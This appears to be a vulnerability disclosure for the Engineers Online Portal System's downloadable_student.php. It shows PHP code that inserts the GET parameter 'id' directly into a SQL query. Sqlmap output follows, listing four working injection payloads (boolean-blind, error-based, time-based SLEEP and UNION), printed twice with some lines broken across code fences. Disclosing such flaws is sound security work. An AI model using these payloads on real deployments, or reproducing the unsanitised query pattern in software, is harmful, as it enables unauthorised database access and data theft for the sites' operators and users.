

# Engineers Online Portal System downloadable\_student.php has Sqlinjection

Engineers Online Portal System downloadable\_student.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```
?php $get_id = $_GET['id']; ?>
<body>
  <?php include('navbar_student.php'); ?>
  <div class="container-fluid">
    <div class="row-fluid">
      <?php include('downloadable_link_student.php'); ?>
      <div class="span6" id="content">
        <div class="row-fluid">
          <!-- block -->
          <div id="block_bg" class="block">
            <div class="navbar navbar-inner block-header">
              <?php $query = mysqli_query($conn,"select * FROM files where class_id = '$get_id' order
                $count = mysqli_num_rows($query);
              ?>
              <div id="" class="muted pull-right"><span class="badge badge-info"><?php echo $count;
            </div>
            <div class="block-content collapse in">
              <div class="span12">
                <div class="pull-right">
                  Check All <input type="checkbox" name="selectAll" id="checkAll" />
                <script>
                  $("#checkAll").click(function () {
                    $('input:checkbox').not(this).prop('checked', this.checked);
                  });
                </script>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</body>
```

终端 调试控制台

PHP

```
GET parameter id is vulnerable. Do you want to keep testing the others (if any)? [Y/n] y
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=189' AND 7096=7096 AND 'bNKH'='bNKH

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: id=189' AND GTID_SUBSET(CONCAT(0x71626b6271, (SELECT (ELT(5300=5300,1))),0x717a787a71),5300) AND 'eQDb'='eQDb'
b

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=189' AND (SELECT 2232 FROM (SELECT(SLEEP(5)))Uqhu) AND 'mXAO'='mXAO

  Type: UNION query
  Title: Generic UNION query (NULL) - 8 columns
  Payload: id=189' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626b6271,0x496759746e5251554f496250697676
746a74424f4c476d614872755769586677555246664b587947,0x717a787a71),NULL-- -
---
```

## Sqlmap attack

sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=189' AND 7096=7096 AND 'bNKH'='bNKH

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID\_SUBSET)

Payload: id=189' AND GTID\_SUBSET(CONCAT(0x71626b6271,(SELECT

```
(ELT(5300=5300,1))),0x717a787a71),5300) AND 'eQDb'='eQDb
```

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=189' AND (SELECT 2232 FROM (SELECT(SLEEP(5)))Uqhu) AND 'mXAO'='mXAO

Type: UNION query

Title: Generic UNION query (NULL) - 8 columns

Payload: id=189' UNION ALL SELECT

```
NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626b6271,0x496759746e5251554f4962506976767  
46a74424f4c476d614872755769586677555246664b587947,0x717a787a71),NULL-- -
```

```
---
```